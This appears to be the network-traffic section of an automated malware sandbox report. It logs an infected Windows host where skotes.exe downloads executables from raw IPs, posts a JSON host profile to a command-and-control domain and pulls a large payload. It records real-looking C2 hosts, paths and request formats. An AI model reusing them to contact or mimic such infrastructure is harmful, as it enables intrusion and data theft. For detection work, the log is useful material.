Dec 16, 2024 15:03:30.660620928 CET	6	OUT	Data Raw: 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.6	50096	31.41.244.11	80	7980	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 15:03:16.618968964 CET	62	OUT	GET /files/unique3/random.exe HTTP/1.1 Host: 31.41.244.11
Dec 16, 2024 15:03:17.929385900 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 16 Dec 2024 14:03:17 GMT Content-Type: application/octet-stream Content-Length: 428544 Last-Modified: Mon, 16 Dec 2024 13:48:53 GMT Connection: keep-alive ETag: "67602fc5-68a00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a4 b1 e4 47 e0 d0 8a 14 e0 d0 8a 14 e0 d0 8a 14 fe 82 1f 14 f9 d0 8a 14 fe 82 0e 14 d2 d0 8a 14 fe 82 09 14 60 d0 8a 14 c7 16 f1 14 e3 d0 8a 14 e0 d0 8b 14 60 d0 8a 14 fe 82 00 14 e1 d0 8a 14 fe 82 1e 14 e1 d0 8a 14 fe 82 1b 14 e1 d0 8a 14 52 69 63 68 e0 d0 8a 14 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 0c bc 5d 65 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 09 00 00 e4 05 00 00 12 01 00 00 00 00 00 52 85 00 00 00 10 00 00 00 00 06 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 00 07 00 00 04 00 00 cb 79 07 00 02 00 00 81 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$G``RichPEL]eR@y@(h=8@.text `.datad@.rsrch=>L@@
Dec 16, 2024 15:03:17.929405928 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 18 eb 05 00 2c eb 05 00 40 eb 05 00 54 eb 05 00 6a eb 05 00 78 eb 05 00 8e eb 05 Data Ascii: ,@Tjx8Thx&8HXdz"6Lbr
Dec 16, 2024 15:03:17.929424047 CET	448	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: (((((
Dec 16, 2024 15:03:17.929439068 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 16, 2024 15:03:17.929455042 CET	1236	IN	Data Raw: d9 da db dc dd de df e0 e1 e2 e3 e4 e5 e6 e7 e8 e9 ea eb ec ed ee ef f0 f1 f2 f3 f4 f5 f6 f7 f8 f9 fa fb fc fd fe ff 00 01 02 03 04 05 06 07 08 09 0a 0b 0c 0d 0e 0f 10 11 12 13 14 15 16 17 18 19 1a 1b 1c 1d 1e 1f 20 21 22 23 24 25 26 27 28 29 2a Data Ascii: !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{\|}~
Dec 16, 2024 15:03:17.929470062 CET	1236	IN	Data Raw: 78 69 74 20 74 61 62 6c 65 0d 0a 00 00 00 00 52 36 30 31 39 0d 0a 2d 20 75 6e 61 62 6c 65 20 74 6f 20 6f 70 65 6e 20 63 6f 6e 73 6f 6c 65 20 64 65 76 69 63 65 0d 0a 00 00 00 00 52 36 30 31 38 0d 0a 2d 20 75 6e 65 78 70 65 63 74 65 64 20 68 65 61 Data Ascii: xit tableR6019- unable to open console deviceR6018- unexpected heap errorR6017- unexpected multithread lock errorR6016- not enough space for thread dataThis application has requested the Runtime to terminat
Dec 16, 2024 15:03:17.929486036 CET	672	IN	Data Raw: 00 00 00 54 75 65 73 64 61 79 00 4d 6f 6e 64 61 79 00 00 53 75 6e 64 61 79 00 00 53 61 74 00 46 72 69 00 54 68 75 00 57 65 64 00 54 75 65 00 4d 6f 6e 00 53 75 6e 00 75 6e 69 74 65 64 2d 73 74 61 74 65 73 00 00 00 75 6e 69 74 65 64 2d 6b 69 6e 67 Data Ascii: TuesdayMondaySundaySatFriThuWedTueMonSununited-statesunited-kingdomtrinidad & tobagosouth-koreasouth-africasouth koreasouth africaslovakpuerto-ricopr-chinapr chinanznew-zealandhong-kongholland
Dec 16, 2024 15:03:17.929658890 CET	1236	IN	Data Raw: 70 61 6e 69 73 68 2d 61 72 67 65 6e 74 69 6e 61 00 00 00 70 6f 72 74 75 67 75 65 73 65 2d 62 72 61 7a 69 6c 69 61 6e 00 00 00 00 6e 6f 72 77 65 67 69 61 6e 2d 6e 79 6e 6f 72 73 6b 00 00 00 6e 6f 72 77 65 67 69 61 6e 2d 62 6f 6b 6d 61 6c 00 00 00 Data Ascii: panish-argentinaportuguese-braziliannorwegian-nynorsknorwegian-bokmalnorwegianitalian-swissirish-englishgerman-swissgerman-luxembourggerman-lichtensteingerman-austrianfrench-swissfrench-luxembourgfrench-c
Dec 16, 2024 15:03:17.929673910 CET	1236	IN	Data Raw: 42 52 00 c4 25 40 00 4e 4c 44 00 b8 25 40 00 48 4b 47 00 ac 25 40 00 4e 5a 4c 00 a8 25 40 00 4e 5a 4c 00 9c 25 40 00 43 48 4e 00 90 25 40 00 43 48 4e 00 84 25 40 00 50 52 49 00 7c 25 40 00 53 56 4b 00 6c 25 40 00 5a 41 46 00 60 25 40 00 4b 4f 52 Data Ascii: BR%@NLD%@HKG%@NZL%@NZL%@CHN%@CHN%@PRI\|%@SVKl%@ZAF`%@KORP%@ZAFD%@KOR0%@TTO&@GBR %@GBR%@USA&@USA6-0OCPACPNorwegian-NynorskGetProcessWindowStationGetUserObjectInformationA
Dec 16, 2024 15:03:17.929688931 CET	448	IN	Data Raw: 64 69 73 70 6c 61 63 65 6d 65 6e 74 20 6d 61 70 27 00 00 60 76 65 63 74 6f 72 20 76 62 61 73 65 20 63 6f 6e 73 74 72 75 63 74 6f 72 20 69 74 65 72 61 74 6f 72 27 00 60 76 65 63 74 6f 72 20 64 65 73 74 72 75 63 74 6f 72 20 69 74 65 72 61 74 6f 72 Data Ascii: displacement map'`vector vbase constructor iterator'`vector destructor iterator'`vector constructor iterator'`scalar deleting destructor'`default constructor closure'`vector deleting destructor'`vbase destructor'`string'
Dec 16, 2024 15:03:18.053270102 CET	1236	IN	Data Raw: 5d 00 00 21 3d 00 00 3d 3d 00 00 21 00 00 00 3c 3c 00 00 3e 3e 00 00 20 64 65 6c 65 74 65 00 20 6e 65 77 00 00 00 00 5f 5f 75 6e 61 6c 69 67 6e 65 64 00 5f 5f 72 65 73 74 72 69 63 74 00 00 5f 5f 70 74 72 36 34 00 5f 5f 63 6c 72 63 61 6c 6c 00 00 Data Ascii: ]!===!<<>> delete new__unaligned__restrict__ptr64__clrcall__fastcall__thiscall__stdcall__pascal__cdecl__based(l3@d3@X3@L3@@3@43@(3@ 3@3@3@b@P.@4.@ .@.@-@3@2@ @2@2@2@2@

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.6	50099	138.124.34.218	80

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 15:03:17.184267044 CET	12360	OUT	POST /kNcZsqQOSglxukmuLodY1734167391 HTTP/1.1 Host: home.twentygr20sb.top Accept: / Content-Type: application/json Content-Length: 38787 Data Raw: 7b 20 22 69 70 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 31 38 39 22 2c 20 22 63 75 72 72 65 6e 74 5f 74 69 6d 65 22 3a 20 22 31 37 33 34 33 35 37 37 39 35 22 2c 20 22 4e 75 6d 5f 70 72 6f 63 65 73 73 6f 72 22 3a 20 34 2c 20 22 4e 75 6d 5f 72 61 6d 22 3a 20 37 2c 20 22 64 72 69 76 65 72 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 43 3a 5c 5c 22 2c 20 22 61 6c 6c 22 3a 20 32 32 33 2e 30 2c 20 22 66 72 65 65 22 3a 20 31 36 38 2e 30 20 7d 20 5d 2c 20 22 4e 75 6d 5f 64 69 73 70 6c 61 79 73 22 3a 20 31 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 78 22 3a 20 31 32 38 30 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 79 22 3a 20 31 30 32 34 2c 20 22 72 65 63 65 6e 74 5f 66 69 6c 65 73 22 3a 20 33 38 2c 20 22 70 72 6f 63 65 73 73 65 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 5b 53 79 73 74 65 6d 20 50 72 6f 63 65 73 73 5d 22 2c 20 22 70 69 64 22 3a 20 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 53 79 73 74 65 6d 22 2c 20 22 70 69 64 22 3a 20 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 52 65 67 [TRUNCATED] Data Ascii: { "ip": "8.46.123.189", "current_time": "1734357795", "Num_processor": 4, "Num_ram": 7, "drivers": [ { "name": "C:\\", "all": 223.0, "free": 168.0 } ], "Num_displays": 1, "resolution_x": 1280, "resolution_y": 1024, "recent_files": 38, "processes": [ { "name": "[System Process]", "pid": 0 }, { "name": "System", "pid": 4 }, { "name": "Registry", "pid": 92 }, { "name": "smss.exe", "pid": 328 }, { "name": "csrss.exe", "pid": 412 }, { "name": "wininit.exe", "pid": 488 }, { "name": "csrss.exe", "pid": 496 }, { "name": "winlogon.exe", "pid": 560 }, { "name": "services.exe", "pid": 632 }, { "name": "lsass.exe", "pid": 652 }, { "name": "svchost.exe", "pid": 752 }, { "name": "fontdrvhost.exe", "pid": 780 }, { "name": "fontdrvhost.exe", "pid": 788 }, { "name": "svchost.exe", "pid": 868 }, { "name": "svchost.exe", "pid": 928 }, { "name": "dwm.exe", "pid": 996 }, { "name": "svchost.exe", "pid": 436 }, { "name": "svchost.exe", "pid": 376 }, { "name": "svchost.exe", "pid": 60 }, { "name": "svchost.exe", "pid": 9 [TRUNCATED]
Dec 16, 2024 15:03:17.304650068 CET	24720	OUT	Data Raw: 6f 6f 6f 6f 41 4b 4b 4b 4b 41 43 69 69 69 67 41 6f 6f 6f 6f 41 4b 4b 4b 4b 41 43 69 69 69 67 41 6f 6f 6f 6f 41 4b 4b 4b 4b 41 43 69 69 69 67 41 6f 6f 6f 6f 41 4b 4b 4b 4b 41 43 69 69 69 67 41 6f 6f 6f 6f 41 4b 4b 4b 4b 41 43 69 69 69 67 41 6f 6f Data Ascii: ooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooo
Dec 16, 2024 15:03:17.424758911 CET	1853	OUT	Data Raw: 6f 6f 6f 6f 41 4b 4b 4b 4b 41 43 69 69 69 67 41 6f 6f 6f 6f 41 4b 4b 4b 4b 41 43 69 69 69 67 41 6f 6f 6f 6f 41 4b 4b 4b 4b 41 43 69 69 69 67 41 6f 6f 6f 6f 41 4b 4b 4b 4b 41 43 69 69 69 67 41 6f 6f 6f 6f 41 4b 4b 4b 4b 41 43 69 69 69 67 41 6f 6f Data Ascii: ooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooo
Dec 16, 2024 15:03:19.088882923 CET	183	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Mon, 16 Dec 2024 14:03:18 GMT Content-Type: text/html; charset=utf-8 Content-Length: 26 Connection: close Data Raw: 73 79 70 45 61 32 79 67 50 59 59 41 35 54 74 33 31 37 33 34 33 35 37 37 39 38 Data Ascii: sypEa2ygPYYA5Tt31734357798

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.6	50100	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 15:03:17.209150076 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.6	50105	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 15:03:17.640835047 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.6	50111	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 15:03:18.040635109 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.6	50112	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 15:03:18.881170988 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.6	50114	138.124.34.218	80

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 15:03:19.356841087 CET	126	OUT	GET /kNcZsqQOSglxukmuLodY1734167391?argument=sypEa2ygPYYA5Tt31734357798 HTTP/1.1 Host: home.twentygr20sb.top Accept: /
Dec 16, 2024 15:03:20.850783110 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Mon, 16 Dec 2024 14:03:20 GMT Content-Type: application/octet-stream Content-Length: 10816560 Connection: close Content-Disposition: attachment; filename="80105954plxpiybkpwdJdT;" Last-Modified: Sat, 14 Dec 2024 09:09:51 GMT Cache-Control: no-cache ETag: "1734167391.1691985-10816560-483596862" Data Raw: e8 47 b8 68 6a 70 6c 2a 74 aa a9 3f 20 d1 d1 58 57 cd 30 27 da 61 e1 d5 00 4f c4 71 82 0e 1b 97 a1 07 c1 ac 1e dd 9f 6a 28 48 22 4d de e8 a4 66 69 06 e2 dd e9 6c fc d4 5b 6c 7a 2d 2a fa 2b bf 46 3e c1 81 58 32 38 ee cd b1 c5 e7 c8 75 62 e3 c6 25 0e 66 a1 30 62 cc 35 27 d8 1b 33 0b 5a 74 76 b3 8c 08 50 80 ee 4c af 3a 54 2f 5b cb 3c 99 10 fa cd c0 d1 da 84 33 70 a9 1a c6 1c e0 50 6f 76 78 ba c7 94 a6 a6 7d f0 95 9e 52 02 03 77 0f 17 4e 49 02 ec 77 4c 79 73 14 5e db 83 97 11 bf 74 f4 03 24 89 7e 91 e0 c2 ea 71 ae 28 6c 8e 63 79 a0 52 e1 c2 ae c2 b4 72 9f 9c 7e 2e 90 42 fe 1f 91 99 a5 f6 b3 7e 0b 34 f0 c6 83 62 b9 49 e6 6b 83 fb 28 d1 1e 64 ea b7 72 63 87 90 c1 5a fd 8b 88 cb 0b 0e 2b 96 83 9f a4 f4 be a4 15 ed 42 34 6b 52 64 c1 31 93 ae ee fc d4 70 10 10 be ef 86 1a 9d f7 15 a3 c2 e3 dc 08 f6 ac 5d 40 31 5f af ed 6d b1 71 d2 e8 c0 5c 4f 70 20 3f ac bc f1 50 9d 88 5a ce 4b 75 57 6f e6 9b 28 ce 19 71 bb 48 a7 e6 44 f7 4a 6c 5c 15 09 b6 48 e3 be db 2a 96 7e eb f0 66 45 d2 72 ee f4 fb 87 a9 49 13 23 0e 88 [TRUNCATED] Data Ascii: Ghjplt? XW0'aOqj(H"Mfil[lz-+F>X28ub%f0b5'3ZtvPL:T/[<3pPovx}RwNIwLys^t$~q(lcyRr~.B~4bIk(drcZ+B4kRd1p]@1_mq\Op ?PZKuWo(qHDJl\H~fErI#5~[V7;MGKHPt=kc}G5cid}"lj({6@S5`XKc)7;vD:8/2/60vm9`]5!m8]Hb.]y0^]U(z2,o>oe}<n:rhI@^\$@qmvst8#eRvk\~1F#w"aR=f@0hXy8`uYn}v$>Z/S#h2[Dtlxi(s;F+UmiaA)7wm8FYxH9\~B?(&y$*!@7}]C.)MI)IlRF7h!M9{N`SkS6'\|]nJ3N+7]cb
Dec 16, 2024 15:03:20.850857973 CET	1236	IN	Data Raw: 8b b3 1f 5e aa f4 b1 ed f4 5d 47 cd 58 58 db ba 0f 66 6b 21 63 d3 73 4b 65 7b 89 e1 8b 64 37 ff fb 37 76 7e 4f 0b 52 fe 11 9f 8e e1 95 02 c1 dc d0 0e 22 bf 13 b4 38 80 e2 d0 51 30 72 23 2c b7 4f 7c bb f7 c0 9b 4a f4 97 5e 41 17 21 4c f7 4b b3 73 Data Ascii: ^]GXXfk!csKe{d77v~OR"8Q0r#,O\|J^A!LKsTZ/IX[/%-:Lg`F7 [i/AM]Qo\|;MyYQg?CtVk''S%v)dvG3_\(O6gCav_9?8t<I~)GVa
Dec 16, 2024 15:03:20.850874901 CET	1236	IN	Data Raw: 3d 91 58 f5 fd 59 26 2b b0 07 23 8d 15 1f 2b c6 20 d4 6a 38 93 90 9e 02 7f 2d 3c cf f3 e1 92 82 68 4e a6 45 3a 75 11 9e cc 28 17 84 42 c1 79 18 3e f3 46 11 ce 2f 4d d5 8b 96 61 f1 0b e2 3b 91 37 4d 4d d5 c7 3c 63 88 52 82 ac f1 e6 02 cd 67 f4 59 Data Ascii: =XY&+#+ j8-<hNE:u(By>F/Ma;7MM<cRgYw!mNG3Nt44:20htMygcj{3S:Y7<.xL&y{Q-9XK;y}Sjc9&MxOeT7?D[\|4ce"OI
Dec 16, 2024 15:03:20.850912094 CET	1236	IN	Data Raw: e3 51 88 8c 9c c5 52 64 ae 67 8d 9b 66 da e2 ac 22 c4 69 49 ba e7 ac a5 d6 ee 8a 89 e2 44 4f fb aa d2 d8 ce 19 b1 6b 6d 91 56 82 1f 10 b8 b5 f2 09 77 6e 3c 8a bc fd 4e 06 dc 27 3a c4 6f df 29 98 a2 d3 60 f2 a9 d2 14 54 2f b4 55 78 c0 42 1c fa 7a Data Ascii: QRdgf"iIDOkmVwn<N':o)`T/UxBzs Wa=~IqL%yoZCAN~aSj0Zer-/#<ruLPg6V!'t6p7]7Fk&
Dec 16, 2024 15:03:20.850996971 CET	1236	IN	Data Raw: b3 17 20 97 7b f8 8b f4 8e 94 4f 8c 5a bc 79 53 56 2a ed 79 34 dc 1d 5d 9e e6 8e a2 e6 ac 77 64 71 d4 01 bc d0 48 98 18 5d ac 50 87 6d 2d de 76 d0 f0 e6 a4 25 79 ad bf 4e d2 bd 0a 65 e6 41 08 24 9f 1f 50 c4 ef 87 d6 83 5c 39 c3 2c ec 65 0b f4 11 Data Ascii: {OZySVy4]wdqH]Pm-v%yNeA$P\9,e.U@\|D1(MW#mxNItVG36ENs"e`sh\v4KqTY)b9Nib6btG<Nuw+4,(D\/:I:?)gCH2F
Dec 16, 2024 15:03:20.851013899 CET	320	IN	Data Raw: d0 db 2a 25 39 bb 32 f2 84 f2 91 bd b0 f5 40 91 5c f7 ce d0 84 ec 72 f7 7e 47 41 09 d9 24 4a 2c 05 ac 9b 12 1b e5 a5 ee f0 7d e4 d9 fa 61 1d d5 3d 78 6c d0 f6 63 b0 3c 84 3d b5 13 80 f2 86 5e f4 10 ab 9e 47 96 f9 25 13 5b f8 df 06 f3 69 27 98 9a Data Ascii: *%92@\r~GA$J,}a=xlc<=^G%[i'FC"N/K+<=)`m7 \|~R+Rb{5z!vT7Xn(?+=4Xi;!KX5^0W;kRH5\|$i@W.+fx'9xImo=B./.\-f;sv4Uh^kA-
Dec 16, 2024 15:03:20.851028919 CET	1236	IN	Data Raw: 2f 7a fe de 8d 17 03 03 e5 de e4 4b 4e 4c a4 f5 c1 46 11 bd 72 c8 94 f3 93 57 e0 d5 4f 07 78 a9 be 9b f6 77 92 d0 2e fa bb 28 f1 13 2d 8c a6 f1 91 f6 55 7c 23 da 6f f1 61 b0 09 79 f1 7d d9 a0 76 3c 91 8a c6 4b d6 ee 73 52 08 e9 2c da 26 1f 1c bd Data Ascii: /zKNLFrWOxw.(-U\|#oay}v<KsR,&$@)O/ATl;!oRv=W\tCjE&T,f*N-Ou5tC{w?0pVx<Z;{u%VZ!;sPM+$HR
Dec 16, 2024 15:03:20.851047039 CET	1236	IN	Data Raw: 20 75 52 d2 81 dc 75 8a bb fb 34 65 dd 4f df ea dd 32 ed 50 59 1c 82 46 b7 1b 01 5d 47 3d 5c e5 6f 09 0b 7a 13 39 3b 9f 20 5a 5e 67 51 16 34 7a 45 8b b0 13 6e e1 dc 49 42 78 90 b1 6b 6d f8 35 b1 7c 07 03 0d 8c a4 c8 07 0b 79 6e 45 71 ba 89 ca 85 Data Ascii: uRu4eO2PYF]G=\oz9; Z^gQ4zEnIBxkm5\|ynEq0SjbC-t`Q^:bxr}xxm`$POrr32<{6\5Pd=M/CLMrKA!4@Ulco4FqpZm@
Dec 16, 2024 15:03:20.851142883 CET	128	IN	Data Raw: 18 bd ba c1 0a d3 ce e0 fc 97 51 50 44 24 32 c5 46 62 25 aa 89 2f 05 ef e6 54 18 95 ba 4e 28 db 39 ca 17 b2 3c af 59 f6 b9 ef 43 c8 a8 00 ac 1b db 62 a9 0a 13 c3 6b 2f dc 0f 3d 4e 03 bb 67 76 6b 5b a4 ec fa 63 18 8f 1e 98 db 71 f0 c1 23 d6 4d 8e Data Ascii: QPD$2Fb%/TN(9<YCbk/=Ngvk[cq#M:<yz0Ag]kMB0{LA_d
Dec 16, 2024 15:03:20.851218939 CET	1236	IN	Data Raw: 4c 5d db ea a4 df bc 16 73 bf 33 53 77 ac 6f 8d b5 1e 2d 8f d7 d0 b4 96 38 ec f9 0a fb e2 78 0d ea 4b 62 fb 70 68 da a0 c4 48 0f 05 34 cf e7 d5 33 e5 3c 8f 3e 00 87 4c 77 b1 fe 39 b5 e6 b0 d7 0f 91 27 ca 80 f3 98 7e e1 29 9e 4f 5c 10 d2 78 d0 9d Data Ascii: L]s3Swo-8xKbphH43<>Lw9'~)O\xIRj;^?QaWcm9'sG9;&4gN?1yFC#O<]Kk;lgE&vR)\|K+Fu6i>6O4\M}kJkv*tOw5Jh
Dec 16, 2024 15:03:20.971194029 CET	1236	IN	Data Raw: da 38 fc b6 52 4d 94 e4 be 31 3d ae d0 07 10 8d 64 d2 e8 31 52 63 e0 b8 69 36 55 10 2d 42 be 0b bf 7f 19 4c e0 07 0c 07 95 5e 00 8c 19 21 14 81 8c 79 93 e9 7a dd 2a 78 ec 93 45 fa 25 5e 59 73 38 11 75 89 f0 fe 55 83 77 a7 43 7a 52 e2 d3 ba a7 b0 Data Ascii: 8RM1=d1Rci6U-BL^!yzxE%^Ys8uUwCzRKux}Jpm0=YE;'S>oHlzhE-si-$%/!wu@3asg'.8Edr1W"I)IU3[%? W1#`A

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.6	50115	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 15:03:19.370073080 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.6	50117	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 15:03:19.807337999 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.6	50118	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 15:03:20.653403997 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Dec 16, 2024 15:03:21.746746063 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Mon, 16 Dec 2024 10:09:59 GMT Age: 14002 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Dec 16, 2024 15:03:31.770056963 CET	6	OUT	Data Raw: 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.6	50120	185.215.113.43	80	7980	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 15:03:21.480753899 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 36 31 33 35 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1016135001&unit=246122658369
Dec 16, 2024 15:03:22.815685987 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 16 Dec 2024 14:03:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.6	50122	31.41.244.11	80	7980	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 15:03:22.952891111 CET	60	OUT	GET /files/flava/random.exe HTTP/1.1 Host: 31.41.244.11
Dec 16, 2024 15:03:24.306436062 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 16 Dec 2024 14:03:24 GMT Content-Type: application/octet-stream Content-Length: 1834496 Last-Modified: Sat, 14 Dec 2024 21:12:38 GMT Connection: keep-alive ETag: "675df4c6-1bfe00" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 62 fe 59 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 cc 03 00 00 b0 00 00 00 00 00 00 00 80 48 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 